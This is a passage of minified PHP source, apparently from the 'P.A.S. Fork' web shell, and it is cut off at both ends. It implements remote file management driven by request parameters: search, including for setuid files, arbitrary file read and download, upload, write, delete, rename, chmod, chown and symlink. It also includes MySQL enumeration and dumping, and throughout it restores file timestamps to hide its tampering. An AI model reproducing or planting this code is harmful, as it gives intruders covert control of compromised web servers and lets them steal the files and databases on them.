$chrTbl = NULL, $dataSize = 0, $crcSum = 4294967295, $shftFix = 0; if ($crcTbl === NULL) { $shftFix = PHP_INT_MAX >> 0; for ($i = 0; $i < 256; ++$i) { $v = $i; for ($j = 8; $j; --$j) { $v = $v & 1 ? $v >> 1 & $shftFix ^ 3988292384 : $v >> 1 & $shftFix; } $crcTbl[] = $v; $chrTbl[chr($i)] = $i; } $shftFix = PHP_INT_MAX >> 7; } elseif ($buff === NULL) { $v = array($dataSize, $crcSum); $dataSize = 0; $crcSum = 4294967295; return $v; } $c = strlen($buff); $dataSize += $c; for ($i = 0; $i < $c; ++$i) { $crcSum = $crcTbl[$crcSum & 255 ^ $chrTbl[$buff[$i]]] ^ $crcSum >> 8 & $shftFix; } return $buff; } function jsonEcho($v) { static $s = NULL, $r = NULL; if ($s === NULL) { $s = array("\", """); $r = array("\u005c", "\u0022"); for ($i = 0; $i <= 31; ++$i) { $s[] = chr($i); $r[] = sprintf("\u00%02s", dechex($i)); } } echo $v === NULL ? ""NULL"" : """ . str_replace($s, $r, $v) . """; } switch ($D["a"]) { case "f": function testProp($a, $v) { foreach ($a as $i) { if (is_array($i)) { if (count($i) === 2) { if ($v > $i[0] && $v < $i[1]) { return TRUE; } } elseif (isset($i[0])) { if ($v > $i[0]) { return TRUE; } } elseif ($v < $i[1]) { return TRUE; } } elseif ($v === $i) { return TRUE; } } return FALSE; } class Searcher { var $f, $d, $p, $a; function __construct($v) { echo "{"f":["; $this->f = $v; $this->d = 0; $this->p = NULL; $this->a = array(); } function filter($v) { $i = new FileInfo($v); $k = $i->getFileName(); $f = $this->f; if ($k === "." || $k === "..") { return; } if ($i->isLink() && !isset($f["l"])) { return; } $b = $i->isDir(); if ($b && (!isset($f["d"]) || $f["d"] > $this->d)) { $this->a[] = $v; } if (isset($f["y"]) && ($f["y"] === 1 ? !$b : $b)) { return; } if (isset($f["p"]) && $i->getMode() < $f["p"]) { return; } if (!$b && isset($f["u"]) && ($i->getPerms() & 3584) !== 2048) { return; } if (isset($f["n"])) { if ($k !== $f["n"]) { return; } } elseif (isset($f["i"])) { if (strcasecmp($k, $f["i"]) !== 0) { return; } } elseif (isset($f["r"])) { if (!preg_match($f["r"], $k)) { return; } } if (isset($f["o"]) && !testProp($f["o"], $i->getOwner())) { return; } if (isset($f["g"]) && !testProp($f["g"], $i->getGroup())) { return; } if (isset($f["e"]) && !testProp($f["e"], $i->getCTime())) { return; } if (isset($f["m"]) && !testProp($f["m"], $i->getMTime())) { return; } if (!$b && isset($f["z"]) && !testProp($f["z"], $i->getSize())) { return; } if (!$b && (isset($f["t"]) || isset($f["v"]) || isset($f["x"]))) { if (!is_string($k = getFile($v))) { return; } if (isset($f["t"])) { if (strpos($k, $f["t"]) === FALSE) { return; } } elseif (isset($f["v"])) { if (stristr($k, $f["v"]) === FALSE) { return; } } elseif (!preg_match($f["x"], $k)) { return; } } $k = $i->getPath(); if ($this->p !== $k) { if ($this->p !== NULL) { echo "]},"; } echo "{"p":"; jsonEcho($k); $this->p = $k; $k = new FileInfo($k); echo ","m":", $k->getMode(), ","f":["; } outFileInfo($i); } function search($v) { $this->a = array(); dirRead($v, array(&$this, "filter")); if (!isset($this->f["d"]) || $this->f["d"] > $this->d) { ++$this->d; $a = $this->a; foreach ($a as $v) { $this->search($v); } } } function finish() { if ($this->p !== NULL) { echo "]}]"; outFileInfo(NULL, TRUE); } else { echo "]"; } sDie("}"); } } function dirRead($p, $f) { $b = is_string($f); if (substr($p, -1) !== DSC) { $p .= DSC; } if ($v = opendir($p)) { while (($i = readdir($v)) !== FALSE) { if ($i !== "." && $i !== "..") { $b ? $f($p . $i) : $f[0]->{$f[1]}($p . $i); } } closedir($v); return TRUE; } if ($v = dir($p)) { while (($i = $v->read()) !== FALSE) { if ($i !== "." && $i !== "..") { $b ? $f($p . $i) : $f[0]->{$f[1]}($p . $i); } } $v->close(); return TRUE; } if (PHP_VERSION >= "5") { try { $v = new DirectoryIterator($p); } catch (Exception $e) { $v = FALSE; } if ($v) { foreach ($v as $i) { $n = $i->getFileName(); if ($n !== "." && $n !== "..") { $b ? $f($i) : $f[0]->{$f[1]}($i); } } unset($i, $v); return TRUE; } try { $v = new RecursiveDirectoryIterator($p); } catch (Exception $e) { $v = FALSE; } if ($v) { foreach ($v as $i) { $b ? $f($i) : $f[0]->{$f[1]}($i); } unset($i, $v); return TRUE; } if (PHP_VERSION >= "5.3") { try { $v = new FilesystemIterator($p); } catch (Exception $e) { $v = FALSE; } if ($v) { foreach ($v as $i) { $b ? $f($i) : $f[0]->{$f[1]}($i); } unset($i, $v); return TRUE; } } $v = defined("SCANDIR_SORT_NONE") ? scandir($p, SCANDIR_SORT_NONE) : scandir($p); if ($v !== FALSE) { foreach ($v as $i) { if ($i !== "." && $i !== "..") { $b ? $f($p . $i) : $f[0]->{$f[1]}($p . $i); } } return TRUE; } } if (PHP_VERSION >= "4.3" && defined("GLOB_BRACE") && ($v = glob($p . DSC . "{,.}*", GLOB_NOESCAPE | GLOB_NOSORT | GLOB_BRACE))) { foreach ($v as $i) { $n = fileName($i); if ($n !== "." && $n !== "..") { $b ? $f($i) : $f[0]->{$f[1]}($i); } } return TRUE; } if (PHP_VERSION >= "5") { if (PHP_VERSION >= "5.3") { try { $v = new GlobIterator($p . "*"); } catch (Exception $e) { $v = FALSE; } if ($v && count($v) > 0) { foreach ($v as $i) { $b ? $f($i) : $f[0]->{$f[1]}($i); } unset($i, $v); return TRUE; } } } return FALSE; } function delDir($p) { dirRead($p, "delFOD"); return rmdir($p); } function delFOD($f) { $f = new FileInfo($f); $n = $f->getFileName(); if ($n !== "." && $n !== "..") { return !$f->isLink() && $f->isDir() ? delDir($f->getPathName()) : delFile($f->getPathName()); } } function isInt($v) { return (string) $v === (string) (int) $v; } function jsonFileInfo($f, $b) { echo "["; jsonEcho($b ? $f->getPathName() : $f->getFileName()); echo ",", $f->isDir() ? "null" : $f->getSize(), ",", TM ? $f->getCTime() : $f->getMTime(), ",", $f->getMode(), ","", $f->getPerms(), """; if (NIX) { echo ",", $f->getOwner(), ",", $f->getGroup(); if ($b) { echo ","; jsonEcho(uName($f->getOwner())); echo ","; jsonEcho(gName($f->getGroup())); } } if ($f->isLink()) { echo ","; jsonEcho($f->getLinkTarget()); } echo "]"; } function outFileInfo($f, $b = NULL) { static $p = NULL, $o = array(), $g = array(); if ($b === TRUE) { if (!NIX || count($o) === 0) { return; } $b = FALSE; echo ","o":{"; foreach ($o as $k => $v) { if ($b) { echo ","; } else { $b = TRUE; } echo """, $k, "":"; jsonEcho(uName($k)); } $b = FALSE; echo "},"g":{"; foreach ($g as $k => $v) { if ($b) { echo ","; } else { $b = TRUE; } echo """, $k, "":"; jsonEcho(gName($k)); } echo "}"; return; } if ($b === FALSE) { $p = NULL; return; } if (!isset($f->fp)) { $f = new FileInfo($f); } if ($p === $f->getPath()) { echo ","; } else { $p = $f->getPath(); } jsonFileInfo($f, FALSE); if (NIX) { $o[$f->getOwner()] = 1; $g[$f->getGroup()] = 1; } } function outFile($p) { if (preg_match("/\.gz$/i", $p)) { if (is_int(readgzfile($p))) { return TRUE; } if ($v = gzopen($p)) { if (!is_int(gzpassthru($v))) { while (!gzeof($v)) { echo gzread($v, 1048576); } } gzclose($v); return TRUE; } if ($v = gzfile($p)) { if (is_array($v)) { foreach ($v as $i) { echo $i; } return TRUE; } } } if (RO && is_int(readfile($p))) { return TRUE; } if (RO && copy($p, "php://output")) { return TRUE; } if ($v = fopen($p, "rb")) { if (!is_int(fpassthru($v))) { while (!feof($v)) { echo fread($v, 1048576); } } fclose($v); return TRUE; } if (PHP_VERSION >= "5") { if (PHP_VERSION >= "5.1") { try { $v = new SplFileObject($p, "rb"); } catch (Exception $e) { $v = FALSE; } if ($v) { if (!is_int($v->fpassthru())) { while (!$v->eof()) { echo $v->fgets(); } } unset($v); return TRUE; } } } if (PHP_VERSION >= "4.3") { $v = file_get_contents($p); if (is_string($v)) { echo $v; return TRUE; } } $v = file($p); if (is_array($v)) { foreach ($v as $i) { echo $i; } return TRUE; } return FALSE; } if (isset($D["s"])) { $a = array(); $e = "{"e":"You have syntax error in %s pattern"}"; if (isset($D["n"])) { if (isset($D["w"])) { $r = "#^"; $c = ''; $p = ''; $q = 0; $b = FALSE; for ($i = 0, $l = strlen($D["n"]); $i < $l; ++$i) { $c = $D["n"][$i]; if ($q > 0 && $c !== "?") { $r .= "."; if ($q > 1) { $r .= "{" . $q . "}"; } $q = 0; } switch ($c) { case "*": if ($c !== $p) { $r .= ".*"; } break; case "?": ++$q; break; case "\": if ($i + 1 >= $l) { sDie(sprintf($e, "name")); } $r .= $c . $D["n"][++$i]; break; case "[": ++$b; $r .= $c; break; case "]": --$b; $r .= $c; break; case "-": $r .= $b > 0 ? $c : "\-"; break; case "!": $r .= $p === "[" ? "^" : "\!"; break; default: $r .= addcslashes($c, ".+^$(){}=<>|:#"); break; } $p = $c; } if ($q > 0) { $r .= "."; if ($q > 1) { $r .= "{" . $q . "}"; } } $r .= "$#"; if (isset($D["i"])) { $r .= "i"; } if (preg_match($r, '') === FALSE) { sDie(sprintf($e, "name")); } $a["r"] = $r; } elseif (isset($D["i"])) { $a["i"] = $D["n"]; } else { $a["n"] = $D["n"]; } } if (isset($D["t"])) { if (isset($D["x"])) { if (preg_match("#" . $D["x"] . "#", '') === FALSE) { sDie(sprintf($e, "text")); } $a["x"] = "#" . $D["t"] . "#"; if (isset($D["v"])) { $a["x"] .= "i"; } } elseif (isset($D["v"])) { $a["v"] = $D["t"]; } else { $a["t"] = $D["t"]; } } $i = array("l", "d", "y", "p", "u"); foreach ($i as $k) { if (isset($D[$k])) { $a[$k] = (int) $D[$k]; } } $i = array("o", "g", "z"); foreach ($i as $k) { if (isset($D[$k])) { $s = explode(",", $D[$k]); foreach ($s as $n => $v) { if (strpos($v, "-")) { $v = explode("-", $v, 2); $a[$k][$n] = array((int) $v[0], (int) $v[1]); } else { switch (substr(trim($v), 0, 1)) { case ">": $a[$k][$n][0] = (int) substr(trim($v), 1); break; case "<": $a[$k][$n][1] = (int) substr(trim($v), 1); break; default: $a[$k][$n] = (int) $v; break; } } } } } $i = array("e", "m"); foreach ($i as $k) { if (isset($D[$k])) { $s = explode(",", $D[$k]); foreach ($s as $n => $v) { if (strpos(" - ", $v)) { $v = explode(" - ", $v, 2); $a[$k][$n] = array(strtotime(trim($v[0]) . "UTC"), strtotime(trim($v[1]) . "UTC")); } else { switch (substr(trim($v), 0, 1)) { case ">": $a[$k][$n][0] = strtotime(substr(trim($v), 1) . "UTC"); break; case "<": $a[$k][$n][1] = strtotime(substr(trim($v), 1) . "UTC"); break; default: $a[$k][$n] = strtotime(trim($v) . "UTC"); break; } } } } } $s = new Searcher($a); foreach ($D["s"] as $v) { $s->search($v); } $s->finish(); } if (isset($D["g"])) { if ($D["g"] === "~" || $D["g"] === '') { $D["g"] = selfPath(); } $i = new FileInfo($D["g"]); if (substr($D["g"], -1) === DSC || $i->isDir()) { echo "{"p":"; if (substr($D["g"], -1) !== DSC) { $D["g"] .= DSC; } jsonEcho($D["g"]); echo ","m":", $i->getMode(), ","f":["; dirRead($i->getPathName(), "outFileInfo"); echo "]"; outFileInfo(NULL, TRUE); sDie("}"); } echo "\1\x2"; $b = outFile($D["g"]); echo "\3\36"; if ($b) { echo "\6["; jsonEcho($D["g"]); echo ",", $i->getMode(), "]"; } else { echo "\x15", $D["g"]; } sDie("\27\x4\20"); } if (isset($D["i"])) { jsonFileInfo(new FileInfo($D["i"]), TRUE); sDie(); } if (isset($D["h"])) { echo "{"; $a = array(); $t = array(); $e = array(); $b = NULL; $m = count($D["h"]) > 1; if ($m && isset($D["p"]) && substr($D["p"], -1) !== DSC) { $D["p"] .= DSC; } if (isset($D["t"])) { $D["t"] = strtotime($D["t"] . "UTC"); } if (isset($D["e"])) { $D["e"] = intval($D["e"], 8); } if (isset($D["r"]) && isInt($D["r"])) { $D["r"] = (int) $D["r"]; } if (isset($D["o"]) && isInt($D["o"])) { $D["o"] = (int) $D["o"]; } sort($D["h"]); foreach ($D["h"] as $v) { if (isset($D["p"])) { parsePath($v, $s, $n); if ($m) { $d = $D["p"]; $p = $d . $n; } else { $d = filePath($D["p"]); $p = $D["p"]; } $c = array(); if (!isset($t[$s])) { $i = new FileInfo($s); $i = $i->getMTime(); if ($i) { $c[$s] = $i; } } if (!isset($t[$d])) { $i = new FileInfo($d); $i = $i->getMTime(); if ($i) { $c[$d] = $i; } } else { $i = $t[$d]; } if (!isset($D["t"]) && $i) { $c[$p] = $i; } if (rename($v, $p)) { if ($s !== $b) { echo $b === NULL ? ""r":[" : "]},"; echo "{"p":"; jsonEcho($s); echo ","f":["; $b = $s; } else { echo ","; } jsonEcho($n); $t += $c; $v = $p; $a[$p] = 1; } else { $e[$v][] = "path"; } } if (isset($D["t"])) { if (touch($v, $D["t"])) { $a[$v] = 1; } else { $e[$v][] = "modified date"; } } if (isset($D["e"])) { if (chmod($v, $D["e"])) { $a[$v] = 1; } else { $e[$v][] = "permission"; } } if (isset($D["r"])) { if (chgrp($v, $D["r"])) { $a[$v] = 1; } else { $e[$v][] = "group"; } } if (isset($D["o"])) { if (chown($v, $D["o"])) { $a[$v] = 1; } else { $e[$v][] = "owner"; } } } $b = $b !== NULL; if ($b) { echo "]}]"; } if (count($a) > 0) { if ($b) { echo ","; } else { $b = TRUE; } echo ""c":[{"p":"; foreach ($t as $k => $v) { touch($k, $v); } clearstatcache(); ksort($a); $p = NULL; foreach ($a as $v => $k) { $k = filePath($v); if ($k !== $p) { if ($p !== NULL) { echo "]},{"p":"; } jsonEcho($k); echo ","f":["; $p = $k; } outFileInfo($v); } echo "]}]"; outFileInfo(NULL, TRUE); } if ($e) { if ($b) { echo ","; } $b = FALSE; echo ""e":["; foreach ($e as $k => $v) { if ($b) { echo ","; } else { $b = TRUE; } jsonEcho(implode(", ", $v) . " for " . $k); } echo "]"; } sDie("}"); } if (isset($D["d"])) { if (is_array($D["d"])) { $v = new PZIP(); $v->init($D["DBP"]); foreach ($D["d"] as $i) { $v->addPath($i); } $v->close(); } $v = new FileInfo($D["d"]); if ($v->isDir()) { $v = new PZIP(); $v->init($D["d"]); $v->addPath($D["d"]); $v->close(); } if (outFile($D["d"]) || defined("CED")) { sDie(); } header("Content-Disposition: inline"); header("Content-Type: application/json; charset=" . CSE); sDie("0"); } if (isset($D["u"])) { echo "{"; $a = array(); $e = array(); $b = FALSE; $k = NULL; sort($D["u"]); foreach ($D["u"] as $v) { parsePath($v, $p, $n); if (!isset($a[$p])) { $t = new FileInfo($p); $t = $t->getMTime(); } else { $t = FALSE; } if (delFOD($v)) { if ($t) { $a[$p] = $t; } if (!$b) { echo ""r":["; $b = TRUE; } if ($p !== $k) { if ($k !== NULL) { echo "]},"; } echo "{"p":"; jsonEcho($p); echo ","f":["; $k = $p; } else { echo ","; } jsonEcho($n); } else { $e[] = $v; } } if ($b) { echo "]}]"; } if ($e) { if ($b) { echo ","; } echo ""e":["; foreach ($e as $k => $v) { if ($k > 0) { echo ","; } jsonEcho($v); } echo "]"; } foreach ($a as $k => $v) { touch($k, $v); } sDie("}"); } if (!empty($_FILES["f"]) || !empty($_REQUEST["f"])) { if (is_array($_REQUEST["f"]) && !isset($_FILES["f"])) { foreach ($_REQUEST["f"] as $k => $v) { $_FILES["f"]["name"][$k] = basename(key($v)); $_FILES["f"]["tmp_name"][$k] = $v[$_FILES["f"]["name"][$k]]; $_FILES["f"]["error"][$k] = 0; } } echo "{"; $a = array(); $b = FALSE; $i = new FileInfo($D["p"]); $i = $i->getMTime(); foreach ($_FILES["f"]["error"] as $k => $v) { $n = $_FILES["f"]["name"][$k]; if ($v === 0) { $p = $D["p"] . $n; $t = $_FILES["f"]["tmp_name"][$k]; if (move_uploaded_file($t, $p) || rename($t, $p) || copy($t, $p) || link($t, $p) || is_string($c = getFile($t)) && writeFile($p, $c) || $t[0] === "d" && writeFile($p, base64_decode(substr(strrchr($t, ","), 1)))) { $a[] = $n; if ($i) { touch($p, $i); } continue; } } if ($b) { echo ","; } else { $b = TRUE; echo ""e":["; } jsonEcho($v . $n); } if ($b) { echo "]"; } if (count($a) > 0) { if ($i) { touch($D["p"], $i); clearstatcache(); } if ($b) { echo ","; } echo ""p":"; jsonEcho($D["p"]); echo ","f":["; foreach ($a as $v) { outFileInfo($D["p"] . $v); } echo "]"; outFileInfo(NULL, TRUE); } sDie("}"); } if (isset($D["w"])) { $a = array(); if (is_file($D["w"]) || file_exists($D["w"])) { $i = new FileInfo($D["w"]); if ($i->isDir()) { sDie("{"e":"(path already exists as directory)"}"); } } else { $p = filePath($D["w"]); $i = new FileInfo($p); $a[$p] = $i->getMTime(); } $a[$D["w"]] = $i->getMTime(); switch ($D["e"]) { case 0: $v = "\xd
"; break; case 1: $v = "
"; break; case 2: $v = "
"; break; } $D["t"] = strtr($D["t"], array("
\xa" => $v, "
" => $v, "
" => $v)); if (writeFile($D["w"], $D["t"])) { if (function_exists("opcache_invalidate")) { opcache_invalidate($D["w"], true); } foreach ($a as $k => $v) { if ($v) { touch($k, $v); } } clearstatcache(); $i = new FileInfo($D["w"]); echo "\x1\2"; $b = outFile($D["w"]); echo "\3\x1e"; if ($b) { echo "\6"; jsonFileInfo($i, TRUE); } else { echo "\x15", $D["w"]; } sDie("\x17\x4\20"); } sDie("{"e":""}"); } if (isset($D["l"])) { $p = filePath($D["l"]); $t = new FileInfo($p); $t = $t->getMTime(); if ($D["t"] == 0 ? symlink($D["p"], $D["l"]) : link($D["p"], $D["l"])) { if ($t) { if ($D["t"] != 0) { touch($D["l"], $t); } touch($p, $t); clearstatcache(); } jsonFileInfo(new FileInfo($D["l"]), TRUE); sDie(); } sDie("{"e":""}"); } if (isset($D["m"])) { if (is_file($D["m"]) || is_dir($D["m"]) || file_exists($D["m"])) { sDie("{"e":"(path already exists)"}"); } $p = filePath($D["m"]); $i = new FileInfo($p); $i = $i->getMTime(); if (mkdir($D["m"], 493)) { if ($i) { touch($D["m"], $i); touch($p, $i); clearstatcache(); } jsonFileInfo(new FileInfo($D["m"]), TRUE); sDie(); } sDie("{"e":""}"); } if (isset($D["f"])) { echo "{"; $a = array(); $m = array(); $c = array(); $b = FALSE; $t = new FileInfo($D["f"]); $t = $t->getMTime(); if (isset($D["v"])) { foreach ($D["v"] as $v) { $i = new FileInfo($v); $j = $i->getMTime(); $f = $D["f"] . $i->getFileName(); $s = $i->getPath(); if (!isset($a[$s])) { $n = new FileInfo($s); $n = $n->getMTime(); } else { $n = FALSE; } if (rename($v, $f)) { if ($n) { $a[$s] = $n; } if ($j) { $a[$f] = $j; } $m[$s][] = $i->getFileName(); } else { if ($b) { echo ","; } else { echo ""e":["; $b = TRUE; } jsonEcho($v); } } } if (isset($D["p"])) { foreach ($D["p"] as $v) { $i = new FileInfo($v); $f = $D["f"] . $i->getFileName(); if (copy($v, $f) || link($v, $f) || !$i->isDir() && is_string($s = getFile($v)) && writeFile($f, $s)) { $v = $i->getMTime(); if ($v) { $a[$f] = $v; } $c[] = $i->getFileName(); } else { if ($b) { echo ","; } else { echo ""e":["; $b = TRUE; } jsonEcho($v); } } } if ($b) { echo "]"; } if (count($m) > 0 || count($c) > 0) { foreach ($a as $k => $v) { touch($k, $v); } if ($t) { touch($D["f"], $t); } clearstatcache(); if ($b) { echo ","; } echo ""p":"; jsonEcho($D["f"]); if (count($m) > 0) { echo ","m":["; $b = FALSE; foreach ($m as $k => $a) { if ($b) { echo ","; } else { $b = TRUE; } echo "{"p":"; jsonEcho($k); outFileInfo(NULL, FALSE); echo ","f":["; foreach ($a as $v) { outFileInfo($D["f"] . $v); } echo "]}"; } echo "]"; } if (count($c) > 0) { echo ","c":["; $b = FALSE; foreach ($c as $v) { outFileInfo($D["f"] . $v); } echo "]"; } outFileInfo(NULL, TRUE); } sDie("}"); } break; case "s": define("T_DMPHDR", "-- \xa-- This SQL dump created by P.A.S. Fork v." . VER . "\xa-- \xa-- Started at %s UTC\xa"); define("T_DMPFTR", "-- Finished at %s UTC"); define("E_SLCTDT", "Can't load data from table %s\xa"); define("E_CNSTCS", "Can't construct create statement for table %s
"); define("E_CHNGDB", "Can't change database to %s for dump table %s.%s\xa"); class SQLBase { var $_cnct, $_res; function connError($m, $h, $u, $p, $b) { echo "{"e":"; jsonEcho($m ? $m : "Can't connect to SQL server" . ($h === NULL ? '' : " " . $h) . ($u === NULL ? '' : " as user "" . $u . """) . ($p === NULL ? '' : " with password "" . $p . """) . ($b === NULL ? '' : " and select database "" . $b . """) . "."); sDie("}"); } function getError() { $v = $this->_cnct->errorInfo(); return $v[2]; } function tryQueries($a) { $i = $this->_cnct; foreach ($a as $v) { if ($this->_res = $i->query($v)) { return TRUE; } } return FALSE; } function fetchAssoc() { return $this->_res->fetch(PDO::FETCH_ASSOC); } function fetchRow() { return $this->_res->fetch(PDO::FETCH_NUM); } function query($v) { return $this->_res = $this->_cnct->query($v); } function fetchBase() { return $this->_res->fetchColumn(0); } function fetchTable() { return $this->_res->fetchColumn(0); } function getColumnsNames($v) { $a = array(); if (($v = $this->_cnct->query("SELECT * FROM " . $v . " LIMIT 1")) && ($v = $v->fetch(PDO::FETCH_ASSOC))) { foreach ($v as $k => $i) { $a[$k] = ''; } return $a; } return FALSE; } function sqlTableSize($v) { return ($v = $this->_cnct->query("SELECT COUNT(*) FROM " . $v)) ? $v->fetchColumn(0) : ""?""; } function close() { $this->_cnct = NULL; } } function sqlJoinColumns($a, $f) { if ($a) { foreach ($a as $k => $v) { $a[$k] = $f($v); } return implode(",", $a); } return "*"; } function sqlOutCreate($t, $c, $d, $f) { echo "\xaCREATE TABLE ", $f($t), " (
"; $b = FALSE; foreach ($c as $k => $v) { if ($b) { echo ",\xa"; } else { $b = TRUE; } echo "  ", $f($k), " ", $v ? $v : $d; } echo "
);
"; } function sqlOutInsert($t, $c) { echo "
INSERT INTO ", $t; if ($c !== "*") { echo " (", $c, ")"; } echo " VALUES"; } function sqlOutValues($a, $f) { echo "\xa("; $b = FALSE; foreach ($a as $v) { if ($b) { echo ","; } else { $b = TRUE; } if ($v === NULL) { echo "NULL"; } else { echo $f($v); } } echo ")"; } function csvOutValues($a) { $c = 0; $b = FALSE; foreach ($a as $v) { if ($b) { echo ";"; } else { $b = TRUE; } if ($v === NULL) { echo "\N"; } else { $v = str_replace(array(""", ";", "\xd", "\xa"), array("""", ";", "\r", "\n"), $v, $c); echo $c > 0 ? """ . $v . """ : $v; } } } function mysqlEscData($v) { return "'" . str_replace(array("\", "'", """, "\x0", "
", "\xd", "\32"), array("\\", "\'", "\"", "\0", "\n", "\r", "\Z"), $v) . "'"; } function mysqlEscName() { $a = func_get_args(); foreach ($a as $k => $v) { $a[$k] = "`" . str_replace("`", "``", $v) . "`"; } return implode(".", $a); } class MySQLBase extends SQLBase { var $haveSchemas = FALSE, $canPaginate = TRUE; function charset($k) { $v = array("utf8", "utf16", "cp1250", "cp1251", "latin1", "latin5", "cp1256", "cp1257", "latin1", "latin2", "greek", "hebrew", "latin5", "latin7", "big5", "gbk", "sjis", "euckr", "ujis", "cp866", "koi8r", "koi8u"); return isset($v[$k]) ? $v[$k] : "utf8"; } function parseCrtTbl($v) { $a = array(); $n = "`((?:[^`]|``)+)`"; $l = " \(((?:`(?:[^`]|``)+`,?)+)\)"; $t = "(?: USING (?:BTREE|HASH))?"; $c = "(?:\s+CONSTRAINT(?: `(?:[^`]|``)+)`)?\s+"; $e = "(`(?:[^`]|``)+`)"; preg_match_all("#^\s+" . $n . " ([a-z]+)((?:\(| ).+)?,?$#Um", $v, $m); foreach ($m[1] as $k => $i) { $a[$i] = strtoupper($m[2][$k]) . $m[3][$k]; } if (preg_match("#^" . $c . "PRIMARY KEY" . $t . $l . ".*$#Um", $v, $m)) { preg_match_all("#" . $n . "#", $m[1], $m); foreach ($m[1] as $i) { $a[$i] .= ", PRIMARY KEY"; } } if (preg_match_all("#^\s+(?:INDEX|KEY)(?: " . $e . ")?" . $t . $l . ".*$#Um", $v, $m)) { foreach ($m[1] as $i => $k) { if ($k !== '') { $k = " " . $k; } preg_match_all("#" . $n . "#", $m[2][$i], $r); foreach ($r[1] as $i) { $a[$i] .= ", KEY" . $k; } } } if (preg_match_all("#^" . $c . "UNIQUE(?: (?:INDEX|KEY))?(?: " . $e . ")?" . $t . $l . ".*$#Um", $v, $m)) { foreach ($m[1] as $i => $k) { if ($k !== '') { $k = " " . $k; } preg_match_all("#" . $n . "#", $m[2][$i], $r); foreach ($r[1] as $i) { $a[$i] .= ", UNIQUE KEY" . $k; } } } if (preg_match_all("#^\s+(?:FULLTEXT|SPATIAL)(?: (?:INDEX|KEY))?(?: " . $e . ")?" . $l . ".*$#Um", $v, $m)) { foreach ($m[1] as $i => $k) { if ($k !== '') { $k = " " . $k; } preg_match_all("#" . $n . "#", $m[2][$i], $r); foreach ($r[1] as $i) { $a[$i] .= ", FULLTEXT KEY" . $k; } } } if (preg_match_all("#^" . $c . "FOREIGN KEY(?: " . $e . ")?" . $l . " REFERENCES (`(?:[^`]|``)+` \((?:`(?:[^`]|``)+`,?)+\)).*$#Um", $v, $m)) { foreach ($m[1] as $i => $k) { if ($k !== '') { $k = " " . $k; } $k .= " " . $m[3][$i]; preg_match_all("#" . $n . "#", $m[2][$i], $r); foreach ($r[1] as $i) { $a[$i] .= ", FOREIGN KEY" . $k; } } } return $a; } function prepType($v) { $s = ($i = strpos($v[1], "(")) ? strtoupper(substr($v[1], 0, $i)) . substr($v[1], $i) : strtoupper($v[1]); if ($v[2] === "NO") { $s .= " NOT NULL"; } if ($v[4] !== NULL) { $s .= " DEFAULT " . mysqlEscData($v[4]); } if ($v[5] !== NULL) { $s .= " " . strtoupper($v[5]); } switch ($v[3]) { case "PRI": $s .= " PRIMARY KEY"; break; case "UNI": $s .= " UNIQUE KEY"; break; case "MUL": $s .= ", KEY(" . mysqlEscName($v[0]) . ")"; break; } return $s; } function getBases() { return $this->tryQueries(array("SHOW DATABASES", "SHOW SCHEMAS", "SELECT schema_name FROM information_schema.schemata", "SELECT DISTINCT table_schema FROM information_schema.tables", "SELECT DISTINCT table_schema FROM information_schema.columns")); } function getTables($b) { $v = mysqlEscData($b); return $this->tryQueries(array("SHOW TABLES FROM " . mysqlEscName($b), "SELECT table_name FROM information_schema.tables WHERE table_schema=" . $v, "SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema=" . $v)); } function getColumns($b, $t) { $a = array(); $e = mysqlEscName($b, $t); if ($this->tryQueries(array("SHOW COLUMNS FROM " . $e, "SHOW FIELDS FROM " . $e, "DESC " . $e, "DESCRIBE " . $e, "SELECT column_name,column_type,is_nullable,column_key,column_default,extra FROM information_schema.columns WHERE table_name=" . mysqlEscData($t) . " AND table_schema=" . mysqlEscData($b)))) { while ($v = $this->fetchRow()) { $a[$v[0]] = $this->prepType($v); } return $a; } if ($this->query("SHOW CREATE TABLE " . $e) && ($v = $this->fetchRow())) { return $this->parseCrtTbl($v[1]); } return $a; } function select($b, $t, $c, $o, $l) { return $this->query("SELECT " . sqlJoinColumns($c, "mysqlEscName") . " FROM " . mysqlEscName($b, $t) . " LIMIT " . $o . "," . $l); } function outCreateTable($b, $t) { if ($this->query("SHOW CREATE TABLE " . mysqlEscName($b, $t)) && ($v = $this->fetchRow())) { echo "\xa", $v[1], ";\xa"; return ''; } if ($v = $this->getColumns($b, $t)) { sqlOutCreate($t, $v, "BLOB", "mysqlEscName"); return ''; } return sprintf(E_CNSTCS, $b . "." . $t); } } class MySQLClient extends MySQLBase { function connect($h, $u, $p, $b, $c) { if (!($this->_cnct = mysql_connect($h, $u, $p))) { return FALSE; } mysql_query("SET NAMES " . $this->charset($c), $this->_cnct); if ($b !== NULL && !mysql_select_db($b, $this->_cnct)) { return mysql_query("USE " . mysqlEscName($b), $this->_cnct); } return TRUE; } function getError() { if ($this->_cnct) { $v = mysql_error($this->_cnct); mysql_close($this->_cnct); return $v; } return mysql_error(); } function tryQueries($a) { foreach ($a as $v) { if ($this->_res = mysql_query($v, $this->_cnct)) { return TRUE; } } return FALSE; } function getBases() { return ($this->_res = mysql_list_dbs($this->_cnct)) || parent::getBases(); } function fetchBase() { return ($v = mysql_fetch_row($this->_res)) ? $v[0] : FALSE; } function fetchTable() { return ($v = mysql_fetch_row($this->_res)) ? $v[0] : FALSE; } function getTables($b) { return ($this->_res = mysql_list_tables($b, $this->_cnct)) || parent::getTables($b); } function getTableSize($b, $t) { return ($v = mysql_query("SELECT COUNT(*) FROM " . mysqlEscName($b, $t), $this->_cnct)) ? mysql_result($v, 0) : ""?""; } function getColumns($b, $t) { if ($a = parent::getColumns($b, $t)) { return $a; } $e = mysqlEscName($b, $t); $q = FALSE; if (($q = mysql_list_fields($b, $t, $this->_cnct)) || ($q = mysql_query("SELECT * FROM " . $e . " LIMIT 0", $this->_cnct))) { if ($v = mysql_fetch_field($q)) { do { $s = $v->type === "string" ? "TEXT" : strtoupper($v->type); if ($v->unsigned) { $s .= " UNSIGNED"; } if ($v->zerofill) { $s .= " ZEROFILL"; } if ($v->not_null) { $s .= " NOT NULL"; } if (isset($v->def) && $v->def !== '' && $v->def !== NULL) { $s .= " DEFAULT " . mysqlEscData($v->def); } if ($v->primary_key) { $s .= " PRIMARY KEY"; } elseif ($v->unique_key) { $s .= " UNIQUE KEY"; } elseif ($v->multiple_key) { $s .= ", KEY(" . mysqlEscName($v->name) . ")"; } $a[$v->name] = $s; } while ($v = mysql_fetch_field($q)); return $a; } if (is_string($v = mysql_field_name($q, 0))) { $i = 0; do { if (is_string($s = mysql_field_type($q, $i))) { $a[$v] = $s === "string" ? "TEXT" : strtoupper($s); } if (($a[$v] === "INT" || 